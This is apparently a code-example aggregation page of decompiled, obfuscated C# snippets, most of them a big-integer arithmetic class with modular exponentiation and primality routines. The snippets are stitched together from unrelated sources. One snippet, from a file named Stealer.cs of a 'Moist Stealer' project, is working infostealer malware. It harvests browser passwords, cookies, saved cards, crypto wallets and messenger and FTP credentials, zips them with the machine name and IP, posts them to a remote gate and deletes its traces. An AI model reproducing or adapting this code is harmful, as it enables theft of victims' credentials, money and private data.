        Class23 @class = new Class23();
        value = value.ToUpper().Trim();
        int num = 0;
        if (value[0] == '-')
        {
        num = 1;
        }
        for (int i = value.Length - 1; i >= num; i--)
        {
        int num2 = (int)value[i];
        if (num2 >= 48 && num2 <= 57)
        {
            num2 -= 48;
        }
        else
        {
            if (num2 >= 65 && num2 <= 90)
            {
                num2 = num2 - 65 + 10;
            }
            else
            {
                num2 = 9999999;
            }
        }
        if (num2 >= radix)
        {
            throw new ArithmeticException("Invalid string in constructor.");
        }
        if (value[0] == '-')
        {
            num2 = -num2;
        }
        @class = Class23.smethod_4(@class, Class23.smethod_8(class23_, Class23.smethod_2(num2)));
        if (i - 1 >= num)
        {
            class23_ = Class23.smethod_8(class23_, Class23.smethod_2(radix));
        }
        }
        if (value[0] == '-')
        {
        if ((@class.uint_0[499] & 2147483648u) == 0u)
        {
            throw new ArithmeticException("Negative underflow in constructor.");
        }
        }
        else
        {
        if ((@class.uint_0[499] & 2147483648u) != 0u)
        {
            throw new ArithmeticException("Positive overflow in constructor.");
        }
        }
        this.uint_0 = new uint[500];
        for (int i = 0; i < @class.int_2; i++)
        {
        this.uint_0[i] = @class.uint_0[i];
        }
        this.int_2 = @class.int_2;
 }
コード例 #38
0
 private bool method_14(Class23 class23_0)
 {
     long num = 5L;
        long num2 = -1L;
        long num3 = 0L;
        bool flag = false;
        bool result;
        while (!flag)
        {
        int num4 = Class23.smethod_28(Class23.smethod_0(num), class23_0);
        if (num4 != -1)
        {
            if (num4 != 0 || !Class23.smethod_18(Class23.smethod_0(Math.Abs(num)), class23_0))
            {
                if (num3 == 20L)
                {
                    Class23 @class = class23_0.method_25();
                    if (Class23.smethod_15(Class23.smethod_8(@class, @class), class23_0))
                    {
                        result = false;
                        return result;
                    }
                }
                num = (Math.Abs(num) + 2L) * num2;
                num2 = -num2;
                goto IL_82;
            }
            result = false;
            return result;
        }
        flag = true;
        IL_82:
        num3 += 1L;
        }
        long num5 = (int)(1L - num) >> 2;
        Class23 class2 = Class23.smethod_4(class23_0, Class23.smethod_2(1));
        int num6 = 0;
        int i = 0;
        IL_F0:
        while (i < class2.int_2)
        {
        uint num7 = 1u;
        for (int j = 0; j < 32; j++)
        {
            if ((class2.uint_0[i] & num7) != 0u)
            {
                i = class2.int_2;
                IL_EA:
                i++;
                goto IL_F0;
            }
            num7 = (uint)num7 << 1;
            num6++;
        }
       // goto IL_EA;
        continue;
        }
        Class23 class23_ = Class23.smethod_11(class2, num6);
        Class23 class3 = new Class23();
        int num8 = class23_0.int_2 << 1;
        class3.uint_0[num8] = 1u;
        class3.int_2 = num8 + 1;
        class3 = Class23.smethod_23(class3, class23_0);
        Class23[] array = Class23.smethod_31(Class23.smethod_2(1), Class23.smethod_0(num5), class23_, class23_0, class3, 0);
        bool flag2 = false;
        if ((array[0].int_2 == 1 && array[0].uint_0[0] == 0u) || (array[1].int_2 == 1 && array[1].uint_0[0] == 0u))
        {
        flag2 = true;
        }
        for (int j = 1; j < num6; j++)
        {
        if (!flag2)
        {
            array[1] = class23_0.method_6(Class23.smethod_8(array[1], array[1]), class23_0, class3);
            array[1] = Class23.smethod_24(Class23.smethod_6(array[1], Class23.smethod_9(array[2], 1)), class23_0);
            if (array[1].int_2 == 1 && array[1].uint_0[0] == 0u)
            {
                flag2 = true;
            }
        }
        array[2] = class23_0.method_6(Class23.smethod_8(array[2], array[2]), class23_0, class3);
        }
        if (flag2)
        {
        Class23 class4 = class23_0.method_7(Class23.smethod_0(num5));
        if (class4.int_2 == 1 && class4.uint_0[0] == 1u)
        {
            if ((array[2].uint_0[499] & 2147483648u) != 0u)
            {
                Class23[] array2;
                (array2 = array)[2] = Class23.smethod_4(array2[2], class23_0);
            }
            Class23 class5 = Class23.smethod_24(Class23.smethod_0(num5 * (long)Class23.smethod_28(Class23.smethod_0(num5), class23_0)), class23_0);
            if ((class5.uint_0[499] & 2147483648u) != 0u)
            {
                class5 = Class23.smethod_4(class5, class23_0);
            }
            if (Class23.smethod_16(array[2], class5))
            {
                flag2 = false;
            }
        }
        }
        result = flag2;
        return result;
 }
コード例 #39
0
 private Class23 method_6(Class23 class23_0, Class23 class23_1, Class23 class23_2)
 {
     int num = class23_1.int_2;
        int num2 = num + 1;
        int num3 = num - 1;
        Class23 @class = new Class23();
        int i = num3;
        int num4 = 0;
        while (i < class23_0.int_2)
        {
        @class.uint_0[num4] = class23_0.uint_0[i];
        i++;
        num4++;
        }
        @class.int_2 = class23_0.int_2 - num3;
        if (@class.int_2 <= 0)
        {
        @class.int_2 = 1;
        }
        Class23 class2 = Class23.smethod_8(@class, class23_2);
        Class23 class3 = new Class23();
        i = num2;
        num4 = 0;
        while (i < class2.int_2)
        {
        class3.uint_0[num4] = class2.uint_0[i];
        i++;
        num4++;
        }
        class3.int_2 = class2.int_2 - num2;
        if (class3.int_2 <= 0)
        {
        class3.int_2 = 1;
        }
        Class23 class4 = new Class23();
        int num5 = (class23_0.int_2 > num2) ? num2 : class23_0.int_2;
        for (i = 0; i < num5; i++)
        {
        class4.uint_0[i] = class23_0.uint_0[i];
        }
        class4.int_2 = num5;
        Class23 class5 = new Class23();
        for (i = 0; i < class3.int_2; i++)
        {
        if (class3.uint_0[i] != 0u)
        {
            ulong num6 = 0uL;
            int num7 = i;
            num4 = 0;
            while (num4 < class23_1.int_2 && num7 < num2)
            {
                ulong num8 = (ulong)class3.uint_0[i] * (ulong)class23_1.uint_0[num4] + (ulong)class5.uint_0[num7] + num6;
                class5.uint_0[num7] = (uint)unchecked(num8 & (ulong)-1);
                num6 = (uint)num8 >> 32;
                num4++;
                num7++;
            }
            if (num7 < num2)
            {
                class5.uint_0[num7] = (uint)num6;
            }
        }
        }
        class5.int_2 = num2;
        while (class5.int_2 > 1 && class5.uint_0[class5.int_2 - 1] == 0u)
        {
        class5.int_2--;
        }
        class4 = Class23.smethod_6(class4, class5);
        if ((class4.uint_0[499] & 2147483648u) != 0u)
        {
        Class23 class6 = new Class23();
        class6.uint_0[num2] = 1u;
        class6.int_2 = num2 + 1;
        class4 = Class23.smethod_4(class4, class6);
        }
        while (Class23.smethod_19(class4, class23_1))
        {
        class4 = Class23.smethod_6(class4, class23_1);
        }
        return class4;
 }
コード例 #40
0
 private static Class23[] smethod_31(Class23 class23_0, Class23 class23_1, Class23 class23_2, Class23 class23_3, Class23 class23_4, int int_3)
 {
     Class23[] array = new Class23[3];
        if ((class23_2.uint_0[0] & 1u) == 0u)
        {
        throw new ArgumentException("Argument k must be odd.");
        }
        int num = class23_2.method_9();
        uint num2 = (uint)(1 << ((num & 31) - 1 & 31));
        Class23 @class = Class23.smethod_24(Class23.smethod_2(2), class23_3);
        Class23 class2 = Class23.smethod_24(Class23.smethod_2(1), class23_3);
        Class23 class3 = Class23.smethod_24(class23_0, class23_3);
        Class23 class4 = class2;
        bool flag = true;
        for (int i = class23_2.int_2 - 1; i >= 0; i--)
        {
        while (num2 != 0u && (i != 0 || num2 != 1u))
        {
            if ((class23_2.uint_0[i] & num2) != 0u)
            {
                class4 = Class23.smethod_24(Class23.smethod_8(class4, class3), class23_3);
                @class = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(@class, class3), Class23.smethod_8(class23_0, class2)), class23_3);
                class3 = class23_3.method_6(Class23.smethod_8(class3, class3), class23_3, class23_4);
                class3 = Class23.smethod_24(Class23.smethod_6(class3, Class23.smethod_9(Class23.smethod_8(class2, class23_1), 1)), class23_3);
                if (flag)
                {
                    flag = false;
                }
                else
                {
                    class2 = class23_3.method_6(Class23.smethod_8(class2, class2), class23_3, class23_4);
                }
                class2 = Class23.smethod_24(Class23.smethod_8(class2, class23_1), class23_3);
            }
            else
            {
                class4 = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(class4, @class), class2), class23_3);
                class3 = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(@class, class3), Class23.smethod_8(class23_0, class2)), class23_3);
                @class = class23_3.method_6(Class23.smethod_8(@class, @class), class23_3, class23_4);
                @class = Class23.smethod_24(Class23.smethod_6(@class, Class23.smethod_9(class2, 1)), class23_3);
                if (flag)
                {
                    class2 = Class23.smethod_24(class23_1, class23_3);
                    flag = false;
                }
                else
                {
                    class2 = class23_3.method_6(Class23.smethod_8(class2, class2), class23_3, class23_4);
                }
            }
            num2 >>= 1;
        }
        num2 = 2147483648u;
        }
        class4 = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(class4, @class), class2), class23_3);
        @class = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(@class, class3), Class23.smethod_8(class23_0, class2)), class23_3);
        if (flag)
        {
        flag = false;
        }
        else
        {
        class2 = class23_3.method_6(Class23.smethod_8(class2, class2), class23_3, class23_4);
        }
        class2 = Class23.smethod_24(Class23.smethod_8(class2, class23_1), class23_3);
        for (int i = 0; i < int_3; i++)
        {
        class4 = Class23.smethod_24(Class23.smethod_8(class4, @class), class23_3);
        @class = Class23.smethod_24(Class23.smethod_6(Class23.smethod_8(@class, @class), Class23.smethod_9(class2, 1)), class23_3);
        if (flag)
        {
            class2 = Class23.smethod_24(class23_1, class23_3);
            flag = false;
        }
        else
        {
            class2 = class23_3.method_6(Class23.smethod_8(class2, class2), class23_3, class23_4);
        }
        }
        array[0] = class4;
        array[1] = @class;
        array[2] = class2;
        return array;
 }
コード例 #41
0
 private static void smethod_22(Class23 class23_0, Class23 class23_1, Class23 class23_2, Class23 class23_3)
 {
     uint[] array = new uint[500];
        int num = 0;
        int i;
        for (i = 0; i < 500; i++)
        {
        class23_3.uint_0[i] = class23_0.uint_0[i];
        }
        class23_3.int_2 = class23_0.int_2;
        while (class23_3.int_2 > 1 && class23_3.uint_0[class23_3.int_2 - 1] == 0u)
        {
        class23_3.int_2--;
        }
        ulong num2 = (ulong)class23_1.uint_0[0];
        int num3 = class23_3.int_2 - 1;
        ulong num4 = (ulong)class23_3.uint_0[num3];
        if (num4 >= num2)
        {
        ulong num5 = num4 / num2;
        array[num++] = (uint)num5;
        class23_3.uint_0[num3] = (uint)(num4 % num2);
        }
        num3--;
        while (num3 >= 0)
        {
        num4 = ((uint)((ulong)class23_3.uint_0[num3 + 1]) << 32) + (ulong)class23_3.uint_0[num3];
        ulong num5 = num4 / num2;
        array[num++] = (uint)num5;
        class23_3.uint_0[num3 + 1] = 0u;
        class23_3.uint_0[num3--] = (uint)(num4 % num2);
        }
        class23_2.int_2 = num;
        int j = 0;
        i = class23_2.int_2 - 1;
        while (i >= 0)
        {
        class23_2.uint_0[j] = array[i];
        i--;
        j++;
        }
        while (j < 500)
        {
        class23_2.uint_0[j] = 0u;
        j++;
        }
        while (class23_2.int_2 > 1 && class23_2.uint_0[class23_2.int_2 - 1] == 0u)
        {
        class23_2.int_2--;
        }
        if (class23_2.int_2 == 0)
        {
        class23_2.int_2 = 1;
        }
        while (class23_3.int_2 > 1 && class23_3.uint_0[class23_3.int_2 - 1] == 0u)
        {
        class23_3.int_2--;
        }
 }
コード例 #42
0
 public string method_3(int int_3)
 {
     if (int_3 < 2 || int_3 > 36)
        {
        throw new ArgumentException("Radix must be >= 2 and <= 36");
        }
        string text = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        string text2 = "";
        Class23 @class = this;
        bool flag = false;
        if ((@class.uint_0[499] & 2147483648u) != 0u)
        {
        flag = true;
        try
        {
            @class = Class23.smethod_14(@class);
        }
        catch (Exception)
        {
        }
        }
        Class23 class2 = new Class23();
        Class23 class3 = new Class23();
        Class23 class23_ = new Class23((long)int_3);
        if (@class.int_2 == 1 && @class.uint_0[0] == 0u)
        {
        text2 = "0";
        }
        else
        {
        while (@class.int_2 > 1 || (@class.int_2 == 1 && @class.uint_0[0] != 0u))
        {
            Class23.smethod_22(@class, class23_, class2, class3);
            if (class3.uint_0[0] < 10u)
            {
                text2 = class3.uint_0[0] + text2;
            }
            else
            {
                text2 = text[(int)(class3.uint_0[0] - 10u)] + text2;
            }
            @class = class2;
        }
        if (flag)
        {
            text2 = "-" + text2;
        }
        }
        return text2;
 }
コード例 #43
0
 public static Class23 smethod_27(Class23 class23_0, Class23 class23_1)
 {
     Class23 @class = new Class23();
        int num = (class23_0.int_2 > class23_1.int_2) ? class23_0.int_2 : class23_1.int_2;
        for (int i = 0; i < num; i++)
        {
        uint num2 = class23_0.uint_0[i] ^ class23_1.uint_0[i];
        @class.uint_0[i] = num2;
        }
        @class.int_2 = 500;
        while (@class.int_2 > 1 && @class.uint_0[@class.int_2 - 1] == 0u)
        {
        @class.int_2--;
        }
        return @class;
 }
コード例 #44
0
 public Class23 method_26()
 {
     uint num = (uint)this.method_9();
        if ((num & 1u) != 0u)
        {
        num = (num >> 1) + 1u;
        }
        else
        {
        num >>= 1;
        }
        uint num2 = num >> 5;
        byte b = (byte)(num & 31u);
        Class23 @class = new Class23();
        uint num3;
        if (b == 0)
        {
        num3 = 2147483648u;
        }
        else
        {
        num3 = (uint)(1 << (int)(b & 31));
        num2 += 1u;
        }
        @class.int_2 = (int)num2;
        for (int num4 = (int)(num2 - 1u); num4 >= 0; num4--)
        {
        while (num3 != 0u)
        {
            @class.uint_0[num4] ^= num3;
            if (Class23.smethod_17(@class.method_24(3), this))
            {
                @class.uint_0[num4] ^= num3;
            }
            num3 >>= 1;
        }
        num3 = 2147483648u;
        }
        return @class;
 }
コード例 #45
0
 public static int smethod_28(Class23 class23_0, Class23 class23_1)
 {
     if ((class23_1.uint_0[0] & 1u) == 0u)
        {
        throw new ArgumentException("Jacobi defined only for odd integers.");
        }
        if (Class23.smethod_19(class23_0, class23_1))
        {
        class23_0 = Class23.smethod_24(class23_0, class23_1);
        }
        int result;
        if (class23_0.int_2 == 1 && class23_0.uint_0[0] == 0u)
        {
        result = 0;
        }
        else
        {
        if (class23_0.int_2 == 1 && class23_0.uint_0[0] == 1u)
        {
            result = 1;
        }
        else
        {
            if (Class23.smethod_18(class23_0, Class23.smethod_2(0)))
            {
                if ((Class23.smethod_6(class23_1, Class23.smethod_2(1)).uint_0[0] & 2u) == 0u)
                {
                    result = Class23.smethod_28(Class23.smethod_14(class23_0), class23_1);
                }
                else
                {
                    result = -Class23.smethod_28(Class23.smethod_14(class23_0), class23_1);
                }
            }
            else
            {
                int num = 0;
                int i = 0;
                IL_10C:
                while (i < class23_0.int_2)
                {
                    uint num2 = 1u;
                    for (int j = 0; j < 32; j++)
                    {
                        if ((class23_0.uint_0[i] & num2) != 0u)
                        {
                            i = class23_0.int_2;
                            IL_108:
                            i++;
                            goto IL_10C;
                        }
                        num2 = (uint)num2 << 1;
                        num++;
                    }
                   // goto IL_108;
                }
                Class23 @class = Class23.smethod_11(class23_0, num);
                int num3 = 1;
                if ((num & 1) != 0 && ((class23_1.uint_0[0] & 7u) == 3u || (class23_1.uint_0[0] & 7u) == 5u))
                {
                    num3 = -1;
                }
                if ((class23_1.uint_0[0] & 3u) == 3u && (@class.uint_0[0] & 3u) == 3u)
                {
                    num3 = -num3;
                }
                if (@class.int_2 == 1 && @class.uint_0[0] == 1u)
                {
                    result = num3;
                }
                else
                {
                    result = num3 * Class23.smethod_28(Class23.smethod_24(class23_1, @class), @class);
                }
            }
        }
        }
        return result;
 }
コード例 #46
0
 private static void smethod_4()
 {
     Class24.class23_2 = new Class23(Class24.smethod_10(), 16);
     Debug.WriteLine(Class24.class23_0);
     Debug.WriteLine(Class24.class23_1);
     Class23 @class = Class24.class23_1.method_5(Class24.class23_2, Class24.class23_0);
     Class23 class2 = new Class23(Class24.smethod_8(Encoding.Default.GetBytes(@class.method_3(10)), Class24.int_0));
     Class24.class23_3 = class2.method_5(Class24.class23_5, Class24.class23_4);
 }
コード例 #47
0
 public static Class23[] smethod_30(Class23 class23_0, Class23 class23_1, Class23 class23_2, Class23 class23_3)
 {
     Class23[] result;
        if (class23_2.int_2 == 1 && class23_2.uint_0[0] == 0u)
        {
        result = new Class23[]
        {
            Class23.smethod_2(0),
            Class23.smethod_24(Class23.smethod_2(2), class23_3),
            Class23.smethod_24(Class23.smethod_2(1), class23_3)
        };
        }
        else
        {
        Class23 @class = new Class23();
        int num = class23_3.int_2 << 1;
        @class.uint_0[num] = 1u;
        @class.int_2 = num + 1;
        @class = Class23.smethod_23(@class, class23_3);
        int num2 = 0;
        int i = 0;
        IL_C3:
        while (i < class23_2.int_2)
        {
            uint num3 = 1u;
            for (int j = 0; j < 32; j++)
            {
                if ((class23_2.uint_0[i] & num3) != 0u)
                {
                    i = class23_2.int_2;
                    IL_BD:
                    i++;
                    goto IL_C3;
                }
                num3 = (uint)num3 << 1;
                num2++;
            }
           // goto IL_BD;
        }
        Class23 class23_4 = Class23.smethod_11(class23_2, num2);
        result = Class23.smethod_31(class23_0, class23_1, class23_4, class23_3, @class, num2);
        }
        return result;
 }
コード例 #48
0
 public Class23 method_20(Class23 class23_0)
 {
     Class23[] array = new Class23[]
        {
        Class23.smethod_2(0),
        Class23.smethod_2(1)
        };
        Class23[] array2 = new Class23[2];
        Class23[] array3 = new Class23[]
        {
        Class23.smethod_2(0),
        Class23.smethod_2(0)
        };
        int num = 0;
        Class23 class23_ = class23_0;
        Class23 @class = this;
        while (@class.int_2 > 1 || (@class.int_2 == 1 && @class.uint_0[0] != 0u))
        {
        Class23 class2 = new Class23();
        Class23 class3 = new Class23();
        if (num > 1)
        {
            Class23 class4 = Class23.smethod_24(Class23.smethod_6(array[0], Class23.smethod_8(array[1], array2[0])), class23_0);
            array[0] = array[1];
            array[1] = class4;
        }
        if (@class.int_2 == 1)
        {
            Class23.smethod_22(class23_, @class, class2, class3);
        }
        else
        {
            Class23.smethod_21(class23_, @class, class2, class3);
        }
        array2[0] = array2[1];
        array3[0] = array3[1];
        array2[1] = class2;
        array3[1] = class3;
        class23_ = @class;
        @class = class3;
        num++;
        }
        if (array3[0].int_2 > 1 || (array3[0].int_2 == 1 && array3[0].uint_0[0] != 1u))
        {
        throw new ArithmeticException("No inverse!");
        }
        Class23 class5 = Class23.smethod_24(Class23.smethod_6(array[0], Class23.smethod_8(array[1], array2[0])), class23_0);
        if ((class5.uint_0[499] & 2147483648u) != 0u)
        {
        class5 = Class23.smethod_4(class5, class23_0);
        }
        return class5;
 }
コード例 #49
0
    // Token: 0x060005AE RID: 1454 RVA: 0x00027368 File Offset: 0x00025568
    public static Enum3 smethod_0(Type type_0)
    {
        bool flag;

        return(Class23.smethod_1(type_0, out flag));
    }
コード例 #50
0
ファイル: Stealer.cs プロジェクト: x1234xx/MoistStealer
 public static void GetStealer()
 {
     try
     {
         Directory.CreateDirectory(Help.Moist_Dir);
         Directory.CreateDirectory(Help.Browsers);
         Directory.CreateDirectory(Help.Passwords);
         Directory.CreateDirectory(Help.Autofills);
         Directory.CreateDirectory(Help.Downloads);
         Directory.CreateDirectory(Help.Cookies);
         Directory.CreateDirectory(Help.History);
         Directory.CreateDirectory(Help.Cards);
         File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory);
         GetFiles.Inizialize(Help.Moist_Dir);
         Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
         try
         {
             Class4.smethod_0(Help.Cookies);
         }
         catch
         {
         }
         try
         {
             Class4.PlqfdbrYf(Help.Passwords);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_2(Help.Autofills);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_3(Help.Downloads);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_4(Help.History);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_1(Help.Cards);
         }
         catch
         {
         }
         try
         {
             Class12.smethod_2();
         }
         catch
         {
         }
         try
         {
             Class12.smethod_3();
         }
         catch
         {
         }
         try
         {
             Class25.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class15.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class24.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class23.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class20.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             TGrabber.Start(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class14.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class21.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class13.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class22.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class16.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class17.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class37.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             DomainDetect.Start(Help.Browsers);
         }
         catch
         {
         }
         string text = string.Concat(new string[]
         {
             Help.dir,
             "\\",
             Help.HWID,
             Help.smethod_0(),
             ".zip"
         });
         using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
         {
             zipFile.CompressionLevel = 9;
             zipFile.Comment          = string.Concat(new string[]
             {
                 "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:",
                 Environment.MachineName,
                 "/",
                 Environment.UserName,
                 "\nIP: ",
                 Help.IP,
                 Help.Country(),
                 "\nHWID: ",
                 Help.HWID
             });
             zipFile.AddDirectory(Help.Moist_Dir ?? "");
             zipFile.Save(text ?? "");
         }
         string text2 = text ?? "";
         byte[] file  = File.ReadAllBytes(text2);
         string url   = string.Concat(new string[]
         {
             Help.ApiUrl,
             "?id=",
             Class1.string_0,
             "&caption=",
             "⚡️ Moist Stealer Gate detected new log! ⚡️\n",
             "\ud83d\udd25 User: "******"/",
             Environment.UserName,
             " \ud83d\udd25\n",
             "\ud83c\udf0d IP: " + Help.IP,
             " ",
             Help.Country(),
             "\n\n",
             string.Concat(new string[]
             {
                 "\n\ud83c\udf10 Browsers Data\nPasswords: ",
                 (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(),
                 "\nCookies: ",
                 (Class4.int_3 + Class12.int_0).ToString(),
                 "\nHistory: ",
                 Class4.int_4.ToString(),
                 "\nAutofill: ",
                 Class4.int_1.ToString(),
                 "\nCC:  ",
                 Class4.int_5.ToString(),
                 "\n"
             }),
             string.Concat(new string[]
             {
                 "\n\ud83d\udcb6 Wallets: ",
                 (Class37.int_0 > 0) ? "Yes" : "No",
                 (Class31.int_0 > 0) ? " Electrum" : "",
                 (Class26.int_0 > 0) ? " Armory" : "",
                 (Class27.int_0 > 0) ? " Atomic" : "",
                 (Class28.int_0 > 0) ? " BitcoinCore" : "",
                 (Class29.int_0 > 0) ? " Bytecoin" : "",
                 (Class30.int_0 > 0) ? " DashCore" : "",
                 (Class32.int_0 > 0) ? " Ethereum" : "",
                 (Class33.int_0 > 0) ? " Exodus" : "",
                 (Class35.int_0 > 0) ? " LitecoinCore" : "",
                 (Class36.int_0 > 0) ? " Monero" : "",
                 (Class38.int_0 > 0) ? " Zcash" : "",
                 (Class34.int_0 > 0) ? " Jaxx" : "",
                 "\n\n\ud83e\uddf2 Grabbed files: ",
                 GetFiles.count.ToString(),
                 "\n\ud83d\udcac Discord: ",
                 (Class14.int_0 > 0) ? "Yes" : "No",
                 "\n\ud83d\udee9 Telegram: ",
                 (TGrabber.count > 0) ? "Yes" : "No",
                 "\n\ud83d\udca1 Jabber: ",
                 (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No",
                 (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "",
                 (Class20.int_0 > 0) ? " Psi" : "",
                 "\n\n\ud83d\udce1 FTP\nFileZilla: ",
                 (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No",
                 "\nTotalCmd: ",
                 (Class17.int_0 > 0) ? "Yes" : "No",
                 "\n\n⚖️ VPN\nNordVPN: ",
                 (Class23.int_0 > 0) ? "Yes" : "No",
                 "\nOpenVPN: ",
                 (Class24.int_0 > 0) ? "Yes" : "No",
                 "\nProtonVPN: ",
                 (Class25.int_0 > 0) ? "Yes" : "No",
                 "\n\nHWID: ",
                 Help.HWID,
                 "\n⚙️ ",
                 Class22.smethod_4(),
                 "\n\ud83d\udd0e Domain detect",
                 File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
             })
         });
         SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
         Directory.Delete(Help.dir + "\\", true);
         File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
     }
     catch
     {
     }
 }
コード例 #51
0
 public static Class23 smethod_11(Class23 class23_0, int int_3)
 {
     Class23 @class = new Class23(class23_0);
        @class.int_2 = Class23.smethod_12(@class.uint_0, int_3);
        if ((class23_0.uint_0[499] & 2147483648u) != 0u)
        {
        int num;
        for (num = 499; num >= @class.int_2; num--)
        {
            @class.uint_0[num] = 4294967295u;
        }
        uint num2 = 2147483648u;
        num = 0;
        while (num < 32 && (@class.uint_0[@class.int_2 - 1] & num2) == 0u)
        {
            @class.uint_0[@class.int_2 - 1] |= num2;
            num2 >>= 1;
            num++;
        }
        @class.int_2 = 500;
        }
        return @class;
 }
コード例 #52
0
 public Class23 method_5(Class23 class23_0, Class23 class23_1)
 {
     if ((class23_0.uint_0[499] & 2147483648u) != 0u)
        {
        throw new ArithmeticException("Positive exponents only.");
        }
        Class23 @class = Class23.smethod_2(1);
        bool flag = false;
        Class23 class2;
        if ((this.uint_0[499] & 2147483648u) != 0u)
        {
        class2 = Class23.smethod_24(Class23.smethod_14(this), class23_1);
        flag = true;
        }
        else
        {
        class2 = Class23.smethod_24(this, class23_1);
        }
        if ((class23_1.uint_0[499] & 2147483648u) != 0u)
        {
        class23_1 = Class23.smethod_14(class23_1);
        }
        Class23 class3 = new Class23();
        int num = class23_1.int_2 << 1;
        class3.uint_0[num] = 1u;
        class3.int_2 = num + 1;
        class3 = Class23.smethod_23(class3, class23_1);
        int num2 = class23_0.method_9();
        int num3 = 0;
        Class23 result;
        for (int i = 0; i < class23_0.int_2; i++)
        {
        uint num4 = 1u;
        int j = 0;
        while (j < 32)
        {
            if ((class23_0.uint_0[i] & num4) != 0u)
            {
                @class = this.method_6(Class23.smethod_8(@class, class2), class23_1, class3);
            }
            num4 = (uint)num4 << 1;
            class2 = this.method_6(Class23.smethod_8(class2, class2), class23_1, class3);
            if (class2.int_2 != 1 || class2.uint_0[0] != 1u)
            {
                num3++;
                if (num3 == num2)
                {
                    break;
                }
                j++;
            }
            else
            {
                if (flag && (class23_0.uint_0[0] & 1u) != 0u)
                {
                    result = Class23.smethod_14(@class);
                    return result;
                }
                result = @class;
                return result;
            }
        }
        }
        if (flag && (class23_0.uint_0[0] & 1u) != 0u)
        {
        result = Class23.smethod_14(@class);
        return result;
        }
        result = @class;
        return result;
 }
コード例 #53
0
    private static string smethod_10()
    {
        int i = 10;
        string text = null;
        string text2 = null;
        string text3 = null;
        while (i > 0)
        {
            text = Class24.smethod_9(34);
            Class23 @class = new Class23(text, 16);
            string text4 = Class24.class23_1.method_5(@class, Class24.class23_0).ToString();
            if (text4.Length >= 64)
            {
                text2 = text4;
                text3 = text;
            IL_75:

                string result;
                if (text != text3)
                {
                    result = text3;
                }
                else
                {
                    result = text;
                }
                return result;
            }
            if (text2 == null || text4.Length > text2.Length)
            {
                text2 = text4;
                text3 = text;
            }
            i--;
        }
        string result2;
        if (text != text3)
        {
            result2 = text3;
        }
        else
        {
            result2 = text;
        }
        return result2;
    }
コード例 #54
0
 public static Class23 smethod_13(Class23 class23_0)
 {
     Class23 @class = new Class23(class23_0);
        for (int i = 0; i < 500; i++)
        {
        @class.uint_0[i] = ~class23_0.uint_0[i];
        }
        @class.int_2 = 500;
        while (@class.int_2 > 1 && @class.uint_0[@class.int_2 - 1] == 0u)
        {
        @class.int_2--;
        }
        return @class;
 }
コード例 #55
0
 public static Class23 smethod_14(Class23 class23_0)
 {
     Class23 result;
        if (class23_0.int_2 == 1 && class23_0.uint_0[0] == 0u)
        {
        result = new Class23();
        }
        else
        {
        Class23 @class = new Class23(class23_0);
        for (int i = 0; i < 500; i++)
        {
            @class.uint_0[i] = ~class23_0.uint_0[i];
        }
        long num = 1L;
        int num2 = 0;
        while (num != 0L && num2 < 500)
        {
            long num3 = (long)((ulong)@class.uint_0[num2]);
            num3 += 1L;
            @class.uint_0[num2] = (uint)unchecked(num3 & (long)((ulong)-1));
            num = (int)num3 >> 32;
            num2++;
        }
        if ((class23_0.uint_0[499] & 2147483648u) == (@class.uint_0[499] & 2147483648u))
        {
            throw new ArithmeticException("Overflow in negation.\n");
        }
        @class.int_2 = 500;
        while (@class.int_2 > 1 && @class.uint_0[@class.int_2 - 1] == 0u)
        {
            @class.int_2--;
        }
        result = @class;
        }
        return result;
 }
コード例 #56
0
 public static bool smethod_16(Class23 class23_0, Class23 class23_1)
 {
     return !class23_0.Equals(class23_1);
 }
コード例 #57
0
 public static void smethod_2(string string_2)
 {
     try
     {
         Class24.class25_0 = new Class25();
         Class23 @class = new Class23(string_2, 10);
         string text = @class.method_5(Class24.class23_2, Class24.class23_0).method_3(16).ToLower();
         Class24.class25_0.method_0(Class26.smethod_1(text));
         while (!Class24.class25_0.bool_0)
         {
         }
     }
     catch
     {
         AlertError alertError = new AlertError();
         alertError.method_0("Exploit error", "Try again! Failure exploiting!");
         alertError.ShowDialog();
     }
 }
コード例 #58
0
 public static bool smethod_18(Class23 class23_0, Class23 class23_1)
 {
     int num = 499;
        bool result;
        if ((class23_0.uint_0[499] & 2147483648u) != 0u && (class23_1.uint_0[num] & 2147483648u) == 0u)
        {
        result = true;
        }
        else
        {
